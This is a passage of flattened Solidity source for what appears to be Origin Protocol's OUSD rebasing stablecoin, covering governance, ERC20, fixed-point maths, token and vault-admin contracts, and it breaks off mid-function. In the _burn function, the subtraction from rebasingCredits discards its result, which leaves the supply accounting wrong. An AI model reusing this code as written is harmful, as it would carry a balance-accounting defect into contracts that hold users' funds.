function _governor() internal view returns (address governorOut) {
bytes32 position = governorPosition;
assembly {
governorOut := sload(position)
}
}
function _pendingGovernor()
internal
view
returns (address pendingGovernor)
{
bytes32 position = pendingGovernorPosition;
assembly {
pendingGovernor := sload(position)
}
}
/**
* @dev Throws if called by any account other than the Governor.
*/
modifier onlyGovernor() {
require(isGovernor(), "Caller is not the Governor");
_;
}
/**
* @dev Returns true if the caller is the current Governor.
*/
function isGovernor() public view returns (bool) {
return msg.sender == _governor();
}
function _setGovernor(address newGovernor) internal {
bytes32 position = governorPosition;
assembly {
sstore(position, newGovernor)
}
}
function _setPendingGovernor(address newGovernor) internal {
bytes32 position = pendingGovernorPosition;
assembly {
sstore(position, newGovernor)
}
}
/**
* @dev Transfers Governance of the contract to a new account (`newGovernor`).
* Can only be called by the current Governor. Must be claimed for this to complete
* @param _newGovernor Address of the new Governor
*/
function transferGovernance(address _newGovernor) external onlyGovernor {
_setPendingGovernor(_newGovernor);
emit PendingGovernorshipTransfer(_governor(), _newGovernor);
}
/**
* @dev Claim Governance of the contract to a new account (`newGovernor`).
* Can only be called by the new Governor.
*/
function claimGovernance() external {
require(
msg.sender == _pendingGovernor(),
"Only the pending Governor can complete the claim"
);
_changeGovernor(msg.sender);
}
/**
* @dev Change Governance of the contract to a new account (`newGovernor`).
* @param _newGovernor Address of the new Governor
*/
function _changeGovernor(address _newGovernor) internal {
require(_newGovernor != address(0), "New Governor is address(0)");
emit GovernorshipTransferred(_governor(), _newGovernor);
_setGovernor(_newGovernor);
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
// File: contracts/utils/InitializableERC20Detailed.sol
pragma solidity 0.5.11;
/**
* @dev Optional functions from the ERC20 standard.
* Converted from openzeppelin/contracts/token/ERC20/ERC20Detailed.sol
*/
contract InitializableERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
* @notice To avoid variable shadowing appended `Arg` after arguments name.
*/
function _initialize(
string memory nameArg,
string memory symbolArg,
uint8 decimalsArg
) internal {
_name = nameArg;
_symbol = symbolArg;
_decimals = decimalsArg;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
// File: contracts/utils/InitializableToken.sol
pragma solidity 0.5.11;
contract InitializableToken is ERC20, InitializableERC20Detailed {
/**
* @dev Initialization function for implementing contract
* @notice To avoid variable shadowing appended `Arg` after arguments name.
*/
function _initialize(string memory _nameArg, string memory _symbolArg)
internal
{
InitializableERC20Detailed._initialize(_nameArg, _symbolArg, 18);
}
}
// File: contracts/utils/StableMath.sol
pragma solidity 0.5.11;
// Based on StableMath from Stability Labs Pty. Ltd.
// https://github.com/mstable/mStable-contracts/blob/master/contracts/shared/StableMath.sol
library StableMath {
using SafeMath for uint256;
/**
* @dev Scaling unit for use in specific calculations,
* where 1 * 10**18, or 1e18 represents a unit '1'
*/
uint256 private constant FULL_SCALE = 1e18;
/***************************************
Helpers
****************************************/
/**
* @dev Adjust the scale of an integer
* @param adjustment Amount to adjust by e.g. scaleBy(1e18, -1) == 1e17
*/
function scaleBy(uint256 x, int8 adjustment)
internal
pure
returns (uint256)
{
if (adjustment > 0) {
x = x.mul(10**uint256(adjustment));
} else if (adjustment < 0) {
x = x.div(10**uint256(adjustment * -1));
}
return x;
}
/***************************************
Precise Arithmetic
****************************************/
/**
* @dev Multiplies two precise units, and then truncates by the full scale
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncate(uint256 x, uint256 y) internal pure returns (uint256) {
return mulTruncateScale(x, y, FULL_SCALE);
}
/**
* @dev Multiplies two precise units, and then truncates by the given scale. For example,
* when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @param scale Scale unit
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncateScale(
uint256 x,
uint256 y,
uint256 scale
) internal pure returns (uint256) {
// e.g. assume scale = fullScale
// z = 10e18 * 9e17 = 9e36
uint256 z = x.mul(y);
// return 9e38 / 1e18 = 9e18
return z.div(scale);
}
/**
* @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit, rounded up to the closest base unit.
*/
function mulTruncateCeil(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
// e.g. 8e17 * 17268172638 = 138145381104e17
uint256 scaled = x.mul(y);
// e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17
uint256 ceil = scaled.add(FULL_SCALE.sub(1));
// e.g. 13814538111.399...e18 / 1e18 = 13814538111
return ceil.div(FULL_SCALE);
}
/**
* @dev Precisely divides two units, by first scaling the left hand operand. Useful
* for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17)
* @param x Left hand input to division
* @param y Right hand input to division
* @return Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divPrecisely(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
// e.g. 8e18 * 1e18 = 8e36
uint256 z = x.mul(FULL_SCALE);
// e.g. 8e36 / 10e18 = 8e17
return z.div(y);
}
}
// File: contracts/token/OUSD.sol
pragma solidity 0.5.11;
/**
* @title OUSD Token Contract
* @dev ERC20 compatible contract for OUSD
* @dev Implements an elastic supply
* @author Origin Protocol Inc
*/
contract OUSD is Initializable, InitializableToken, Governable {
using SafeMath for uint256;
using StableMath for uint256;
event TotalSupplyUpdated(
uint256 totalSupply,
uint256 rebasingCredits,
uint256 rebasingCreditsPerToken
);
uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1
uint256 private _totalSupply;
uint256 public rebasingCredits;
// Exchange rate between internal credits and OUSD
uint256 public rebasingCreditsPerToken;
mapping(address => uint256) private _creditBalances;
// Allowances denominated in OUSD
mapping(address => mapping(address => uint256)) private _allowances;
address public vaultAddress = address(0);
// Frozen address/credits are non rebasing (value is held in contracts which
// do not receive yield unless they explicitly opt in)
uint256 public nonRebasingCredits;
uint256 public nonRebasingSupply;
mapping(address => uint256) public nonRebasingCreditsPerToken;
mapping(address => bool) public rebaseOptInList;
function initialize(
string calldata _nameArg,
string calldata _symbolArg,
address _vaultAddress
) external onlyGovernor initializer {
InitializableToken._initialize(_nameArg, _symbolArg);
_totalSupply = 0;
rebasingCredits = 0;
rebasingCreditsPerToken = 1e18;
vaultAddress = _vaultAddress;
nonRebasingCredits = 0;
nonRebasingSupply = 0;
}
/**
* @dev Verifies that the caller is the Savings Manager contract
*/
modifier onlyVault() {
require(vaultAddress == msg.sender, "Caller is not the Vault");
_;
}
/**
* @return The total supply of OUSD.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param _account Address to query the balance of.
* @return A uint256 representing the _amount of base units owned by the
* specified address.
*/
function balanceOf(address _account) public view returns (uint256) {
return
_creditBalances[_account].divPrecisely(_creditsPerToken(_account));
}
/**
* @dev Gets the credits balance of the specified address.
* @param _account The address to query the balance of.
* @return (uint256, uint256) Credit balance and credits per token of the
* address
*/
function creditsBalanceOf(address _account)
public
view
returns (uint256, uint256)
{
return (_creditBalances[_account], _creditsPerToken(_account));
}
/**
* @dev Transfer tokens to a specified address.
* @param _to the address to transfer to.
* @param _value the _amount to be transferred.
* @return true on success.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0), "Transfer to zero address");
_executeTransfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* @param _from The address you want to send tokens from.
* @param _to The address you want to transfer to.
* @param _value The _amount of tokens to be transferred.
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
require(_to != address(0), "Transfer to zero address");
_allowances[_from][msg.sender] = _allowances[_from][msg.sender].sub(
_value
);
_executeTransfer(_from, _to, _value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Update the count of non rebasing credits in response to a transfer
* @param _from The address you want to send tokens from.
* @param _to The address you want to transfer to.
* @param _value Amount of OUSD to transfer
*/
function _executeTransfer(
address _from,
address _to,
uint256 _value
) internal {
// Credits deducted and credited might be different due to the
// differing creditsPerToken used by each account
uint256 creditsDeducted = _value.mulTruncate(_creditsPerToken(_from));
uint256 creditsCredited = _value.mulTruncate(_creditsPerToken(_to));
_creditBalances[_from] = _creditBalances[_from].sub(
creditsDeducted,
"Transfer amount exceeds balance"
);
_creditBalances[_to] = _creditBalances[_to].add(creditsCredited);
bool isNonRebasingTo = _isNonRebasingAddress(_to);
bool isNonRebasingFrom = _isNonRebasingAddress(_from);
if (isNonRebasingTo && !isNonRebasingFrom) {
// Transfer to non-rebasing account from rebasing account, credits
// are removed from the non rebasing tally
nonRebasingCredits = nonRebasingCredits.add(creditsCredited);
nonRebasingSupply = nonRebasingSupply.add(_value);
// Update rebasingCredits by subtracting the deducted amount
rebasingCredits = rebasingCredits.sub(creditsDeducted);
} else if (!isNonRebasingTo && isNonRebasingFrom) {
// Transfer to rebasing account from non-rebasing account
// Decreasing non-rebasing credits by the amount that was sent
nonRebasingCredits = nonRebasingCredits.sub(creditsDeducted);
nonRebasingSupply = nonRebasingSupply.sub(_value);
// Update rebasingCredits by adding the credited amount
rebasingCredits = rebasingCredits.add(creditsCredited);
} else if (isNonRebasingTo && isNonRebasingFrom) {
// Transfer between two non rebasing accounts. They may have
// different exchange rates so update the count of non rebasing
// credits with the difference
nonRebasingCredits =
nonRebasingCredits +
creditsCredited -
creditsDeducted;
}
// Make sure the fixed credits per token get set for to/from accounts if
// they have not been
if (isNonRebasingTo && nonRebasingCreditsPerToken[_to] == 0) {
nonRebasingCreditsPerToken[_to] = rebasingCreditsPerToken;
}
if (isNonRebasingFrom && nonRebasingCreditsPerToken[_from] == 0) {
nonRebasingCreditsPerToken[_from] = rebasingCreditsPerToken;
}
}
/**
* @dev Function to check the _amount of tokens that an owner has allowed to a _spender.
* @param _owner The address which owns the funds.
* @param _spender The address which will spend the funds.
* @return The number of tokens still available for the _spender.
*/
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return _allowances[_owner][_spender];
}
/**
* @dev Approve the passed address to spend the specified _amount of tokens on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param _spender The address which will spend the funds.
* @param _value The _amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
_allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Increase the _amount of tokens that an owner has allowed to a _spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param _spender The address which will spend the funds.
* @param _addedValue The _amount of tokens to increase the allowance by.
*/
function increaseAllowance(address _spender, uint256 _addedValue)
public
returns (bool)
{
_allowances[msg.sender][_spender] = _allowances[msg.sender][_spender]
.add(_addedValue);
emit Approval(msg.sender, _spender, _allowances[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the _amount of tokens that an owner has allowed to a _spender.
* @param _spender The address which will spend the funds.
* @param _subtractedValue The _amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address _spender, uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = _allowances[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
_allowances[msg.sender][_spender] = 0;
} else {
_allowances[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, _allowances[msg.sender][_spender]);
return true;
}
/**
* @dev Mints new tokens, increasing totalSupply.
*/
function mint(address _account, uint256 _amount) external onlyVault {
return _mint(_account, _amount);
}
/**
* @dev Creates `_amount` tokens and assigns them to `_account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address _account, uint256 _amount) internal {
require(_account != address(0), "Mint to the zero address");
uint256 creditAmount = _amount.mulTruncate(_creditsPerToken(_account));
bool isNonRebasingAccount = _isNonRebasingAddress(_account);
// If the account is non rebasing and doesn't have a set creditsPerToken
// then set it i.e. this is a mint from a fresh contract
if (isNonRebasingAccount) {
if (nonRebasingCreditsPerToken[_account] == 0) {
nonRebasingCreditsPerToken[_account] = rebasingCreditsPerToken;
}
nonRebasingCredits = nonRebasingCredits.add(creditAmount);
nonRebasingSupply = nonRebasingSupply.add(_amount);
} else {
rebasingCredits = rebasingCredits.add(creditAmount);
}
_creditBalances[_account] = _creditBalances[_account].add(creditAmount);
_totalSupply = _totalSupply.add(_amount);
emit Transfer(address(0), _account, _amount);
}
/**
* @dev Burns tokens, decreasing totalSupply.
*/
function burn(address account, uint256 amount) external onlyVault {
return _burn(account, amount);
}
/**
* @dev Destroys `_amount` tokens from `_account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `_account` cannot be the zero address.
* - `_account` must have at least `_amount` tokens.
*/
function _burn(address _account, uint256 _amount) internal {
require(_account != address(0), "Burn from the zero address");
bool isNonRebasingAccount = _isNonRebasingAddress(_account);
uint256 creditAmount = _amount.mulTruncate(_creditsPerToken(_account));
uint256 currentCredits = _creditBalances[_account];
// Remove the credits, burning rounding errors
if (
currentCredits == creditAmount || currentCredits - 1 == creditAmount
) {
// Handle dust from rounding
_creditBalances[_account] = 0;
} else if (currentCredits > creditAmount) {
_creditBalances[_account] = _creditBalances[_account].sub(
creditAmount
);
} else {
revert("Remove exceeds balance");
}
_totalSupply = _totalSupply.sub(_amount);
if (isNonRebasingAccount) {
nonRebasingCredits = nonRebasingCredits.sub(creditAmount);
nonRebasingSupply = nonRebasingSupply.sub(_amount);
} else {
rebasingCredits.sub(creditAmount);
}
emit Transfer(_account, address(0), _amount);
}
/**
* @dev Get the credits per token for an account. Returns a fixed amount
* if the account is non-rebasing.
* @param _account Address of the account.
*/
function _creditsPerToken(address _account)
internal
view
returns (uint256)
{
if (nonRebasingCreditsPerToken[_account] != 0) {
return nonRebasingCreditsPerToken[_account];
} else {
return rebasingCreditsPerToken;
}
}
/**
* @dev Is an accounts balance non rebasing, i.e. does not alter with rebases
* @param _account Address of the account.
*/
function _isNonRebasingAddress(address _account)
internal
view
returns (bool)
{
return Address.isContract(_account) && !rebaseOptInList[_account];
}
/**
* @dev Add a contract address to the non rebasing exception list. I.e. the
* address's balance will be part of rebases so the account will be exposed
* to upside and downside.
*/
function rebaseOptIn() public {
require(_isNonRebasingAddress(msg.sender), "Account has not opted out");
// Convert balance into the same amount at the current exchange rate
uint256 newCreditBalance = _creditBalances[msg.sender]
.mul(rebasingCreditsPerToken)
.div(_creditsPerToken(msg.sender));
nonRebasingSupply = nonRebasingSupply.sub(balanceOf(msg.sender));
nonRebasingCredits = nonRebasingCredits.sub(
_creditBalances[msg.sender]
);
_creditBalances[msg.sender] = newCreditBalance;
rebaseOptInList[msg.sender] = true;
delete nonRebasingCreditsPerToken[msg.sender];
}
/**
* @dev Remove a contract address to the non rebasing exception list.
*/
function rebaseOptOut() public {
require(!_isNonRebasingAddress(msg.sender), "Account has not opted in");
nonRebasingCredits = nonRebasingCredits.add(
_creditBalances[msg.sender]
);
nonRebasingSupply = nonRebasingSupply.add(balanceOf(msg.sender));
nonRebasingCreditsPerToken[msg.sender] = rebasingCreditsPerToken;
delete rebaseOptInList[msg.sender];
}
/**
* @dev Modify the supply without minting new tokens. This uses a change in
* the exchange rate between "credits" and OUSD tokens to change balances.
* @param _newTotalSupply New total supply of OUSD.
* @return uint256 representing the new total supply.
*/
function changeSupply(uint256 _newTotalSupply)
external
onlyVault
returns (uint256)
{
require(_totalSupply > 0, "Cannot increase 0 supply");
if (_totalSupply == _newTotalSupply) {
emit TotalSupplyUpdated(
_totalSupply,
rebasingCredits,
rebasingCreditsPerToken
);
return _totalSupply;
}
_totalSupply = _newTotalSupply;
if (_totalSupply > MAX_SUPPLY) _totalSupply = MAX_SUPPLY;
rebasingCreditsPerToken = rebasingCredits.divPrecisely(
_totalSupply.sub(nonRebasingSupply)
);
emit TotalSupplyUpdated(
_totalSupply,
rebasingCredits,
rebasingCreditsPerToken
);
return _totalSupply;
}
}
// File: contracts/interfaces/IBasicToken.sol
pragma solidity 0.5.11;
interface IBasicToken {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// File: contracts/utils/Helpers.sol
pragma solidity 0.5.11;
library Helpers {
/**
* @notice Fetch the `symbol()` from an ERC20 token
* @dev Grabs the `symbol()` from a contract
* @param _token Address of the ERC20 token
* @return string Symbol of the ERC20 token
*/
function getSymbol(address _token) internal view returns (string memory) {
string memory symbol = IBasicToken(_token).symbol();
return symbol;
}
/**
* @notice Fetch the `decimals()` from an ERC20 token
* @dev Grabs the `decimals()` from a contract and fails if
* the decimal value does not live within a certain range
* @param _token Address of the ERC20 token
* @return uint256 Decimals of the ERC20 token
*/
function getDecimals(address _token) internal view returns (uint256) {
uint256 decimals = IBasicToken(_token).decimals();
require(
decimals >= 4 && decimals <= 18,
"Token must have sufficient decimal places"
);
return decimals;
}
}
// File: contracts/vault/VaultStorage.sol
pragma solidity 0.5.11;
/**
* @title OUSD VaultStorage Contract
* @notice The VaultStorage contract defines the storage for the Vault contracts
* @author Origin Protocol Inc
*/
contract VaultStorage is Initializable, Governable {
using SafeMath for uint256;
using StableMath for uint256;
using SafeMath for int256;
using SafeERC20 for IERC20;
event AssetSupported(address _asset);
event StrategyAdded(address _addr);
event StrategyRemoved(address _addr);
event Mint(address _addr, uint256 _value);
event Redeem(address _addr, uint256 _value);
event StrategyWeightsUpdated(
address[] _strategyAddresses,
uint256[] weights
);
event DepositsPaused();
event DepositsUnpaused();
// Assets supported by the Vault, i.e. Stablecoins
struct Asset {
bool isSupported;
}
mapping(address => Asset) assets;
address[] allAssets;
// Strategies supported by the Vault
struct Strategy {
bool isSupported;
uint256 targetWeight; // 18 decimals. 100% = 1e18
}
mapping(address => Strategy) strategies;
address[] allStrategies;
// Address of the Oracle price provider contract
address public priceProvider;
// Pausing bools
bool public rebasePaused = false;
bool public depositPaused = true;
// Redemption fee in basis points
uint256 public redeemFeeBps;
// Buffer of assets to keep in Vault to handle (most) withdrawals
uint256 public vaultBuffer;
// Mints over this amount automatically allocate funds. 18 decimals.
uint256 public autoAllocateThreshold;
// Mints over this amount automatically rebase. 18 decimals.
uint256 public rebaseThreshold;
OUSD oUSD;
//keccak256("OUSD.vault.governor.admin.impl");
bytes32 constant adminImplPosition = 0xa2bd3d3cf188a41358c8b401076eb59066b09dec5775650c0de4c55187d17bd9;
// Address of the contract responsible for post rebase syncs with AMMs
address public rebaseHooksAddr = address(0);
// Address of Uniswap
address public uniswapAddr = address(0);
/**
* @dev set the implementation for the admin, this needs to be in a base class else we cannot set it
* @param newImpl address pf the implementation
*/
function setAdminImpl(address newImpl) external onlyGovernor {
bytes32 position = adminImplPosition;
assembly {
sstore(position, newImpl)
}
}
}
// File: contracts/interfaces/IMinMaxOracle.sol
pragma solidity 0.5.11;
interface IMinMaxOracle {
//Assuming 8 decimals
function priceMin(string calldata symbol) external returns (uint256);
function priceMax(string calldata symbol) external returns (uint256);
}
interface IViewMinMaxOracle {
function priceMin(string calldata symbol) external view returns (uint256);
function priceMax(string calldata symbol) external view returns (uint256);
}
// File: contracts/interfaces/uniswap/IUniswapV2Router02.sol
pragma solidity 0.5.11;
interface IUniswapV2Router {
function WETH() external pure returns (address);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
// File: contracts/vault/VaultAdmin.sol
pragma solidity 0.5.11;
/**
* @title OUSD Vault Admin Contract
* @notice The VaultAdmin contract makes configuration and admin calls on the vault.
* @author Origin Protocol Inc
*/
contract VaultAdmin is VaultStorage {
/**
* @dev Verifies that the caller is the Vault or Governor.
*/
modifier onlyVaultOrGovernor() {
require(
msg.sender == address(this) || isGovernor(),
"Caller is not the Vault or Governor"
);
_;
}
/***************************************
Configuration
****************************************/
/**
* @dev Set address of price provider.
* @param _priceProvider Address of price provider
*/
function setPriceProvider(address _priceProvider) external onlyGovernor {
priceProvider = _priceProvider;
}
/**
* @dev Set a fee in basis points to be charged for a redeem.
* @param _redeemFeeBps Basis point fee to be charged
*/
function setRedeemFeeBps(uint256 _redeemFeeBps) external onlyGovernor {
redeemFeeBps = _redeemFeeBps;
}
/**
* @dev Set a buffer of assets to keep in the Vault to handle most
* redemptions without needing to spend gas unwinding assets from a Strategy.
* @param _vaultBuffer Percentage using 18 decimals. 100% = 1e18.
*/
function setVaultBuffer(uint256 _vaultBuffer) external onlyGovernor {
vaultBuffer = _vaultBuffer;
}
/**
* @dev Sets the minimum amount of OUSD in a mint to trigger an
* automatic allocation of funds afterwords.
* @param _threshold OUSD amount with 18 fixed decimals.
*/
function setAutoAllocateThreshold(uint256 _threshold)
external
onlyGovernor
{
autoAllocateThreshold = _threshold;
}
/**
* @dev Set a minimum amount of OUSD in a mint or redeem that triggers a
* rebase
* @param _threshold OUSD amount with 18 fixed decimals.
*/
function setRebaseThreshold(uint256 _threshold) external onlyGovernor {
rebaseThreshold = _threshold;
}
/**
* @dev Set address of RebaseHooks contract which provides hooks for rebase
* so things like AMMs can be synced with updated balances.
* @param _address Address of RebaseHooks contract
*/
function setRebaseHooksAddr(address _address) external onlyGovernor {
rebaseHooksAddr = _address;
}
/**
* @dev Set address of Uniswap for performing liquidation of strategy reward
* tokens
* @param _address Address of Uniswap
*/
function setUniswapAddr(address _address) external onlyGovernor {
uniswapAddr = _address;
}
/**
* @dev Add a supported asset to the contract, i.e. one that can be
* to mint OUSD.
* @param _asset Address of asset
*/
function supportAsset(address _asset) external onlyGovernor {
require(!assets[_asset].isSupported, "Asset already supported");
assets[_asset] = Asset({ isSupported: true });
allAssets.push(_asset);
emit AssetSupported(_asset);
}
/**
* @dev Add a strategy to the Vault.
* @param _addr Address of the strategy to add
* @param _targetWeight Target percentage of asset allocation to strategy
*/
function addStrategy(address _addr, uint256 _targetWeight)
external
onlyGovernor
{
require(!strategies[_addr].isSupported, "Strategy already added");
strategies[_addr] = Strategy({
isSupported: true,
targetWeight: _targetWeight
});
allStrategies.push(_addr);
emit StrategyAdded(_addr);
}
/**
* @dev Remove a strategy from the Vault. Removes all invested assets and
* returns them to the Vault.
* @param _addr Address of the strategy to remove
*/
function removeStrategy(address _addr) external onlyGovernor {
require(strategies[_addr].isSupported, "Strategy not added");
// Initialize strategyIndex with out of bounds result so function will
// revert if no valid index found
uint256 strategyIndex = allStrategies.length;
for (uint256 i = 0; i < allStrategies.length; i++) {
